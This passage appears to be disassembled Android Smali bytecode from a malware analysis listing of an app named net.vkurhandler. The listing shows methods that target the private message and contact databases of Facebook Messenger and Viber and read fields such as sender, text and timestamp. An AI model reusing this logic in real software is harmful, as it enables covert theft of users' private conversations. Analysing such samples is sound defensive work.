                    13const-string v1, "TEXT"
                    14aput-object v1, v0, v5
                    16const-string v1, "TIMESTAMP"
                    17aput-object v1, v0, v6
                    18const/4 v1, 0x4
                    20const-string v2, "INCOMING"
                    21aput-object v2, v0, v1
                    22const/4 v1, 0x5
                    24const-string v2, "TYPE"
                    25aput-object v2, v0, v1
                    26const/4 v1, 0x6
                    28const-string v2, "SENDER"
                    29aput-object v2, v0, v1
                    30sput-object v0, Lnet/vkurhandler/dg;->k:[Ljava/lang/String;
                    31new-array v0, v6, [Ljava/lang/String;
                    33const-string v1, "_id"
                    34aput-object v1, v0, v3
                    36const-string v1, "USER_NAME"
                    37aput-object v1, v0, v4
                    39const-string v1, "NICK_NAME"
                    40aput-object v1, v0, v5
                    41sput-object v0, Lnet/vkurhandler/dg;->l:[Ljava/lang/String;
                    42return-void
                    Cross References
                    APIs
                    • net.vkurhandler.dj.<init>
                    • net.vkurhandler.df.b
                    Strings
                    • com.facebook.orca
                    • /data/data/com.facebook.orca/databases/threads_db2
                    Position Instruction Meta Information
                    1const-string v0, "com.facebook.orca"
                    3const-string v1, "/data/data/com.facebook.orca/databases/threads_db2"
                    4const/4 v2, 0x2
                    6invoke-direct {p0, p1, v0, v1, v2}, Lnet/vkurhandler/dj;-><init>(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;I)V
                    8invoke-static {}, Lnet/vkurhandler/df;->b()V
                    9return-void
                    Cross References
                    APIs
                    • net.vkurhandler.dj.<init>
                    • net.vkurhandler.dq.b
                    Strings
                    • com.viber.voip
                    • /data/data/com.viber.voip/databases/viber_messages
                    Position Instruction Meta Information
                    1const-string v0, "com.viber.voip"
                    3const-string v1, "/data/data/com.viber.voip/databases/viber_messages"
                    4const/4 v2, 0x2
                    6invoke-direct {p0, p1, v0, v1, v2}, Lnet/vkurhandler/dj;-><init>(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;I)V
                    8invoke-static {}, Lnet/vkurhandler/dq;->b()V
                    9return-void
                    APIs
                    Strings
                    • /data/data/com.facebook.orca/databases/threads_db2.cp
                    • /data/data/com.facebook.orca/databases/contacts_db2.cp
                    Position Instruction Meta Information
                    1const-string v0, "/data/data/com.facebook.orca/databases/threads_db2.cp"
                    2sput-object v0, Lnet/vkurhandler/df;->k:Ljava/lang/String;
                    4const-string v0, "/data/data/com.facebook.orca/databases/contacts_db2.cp"
                    5sput-object v0, Lnet/vkurhandler/df;->l:Ljava/lang/String;
                    6return-void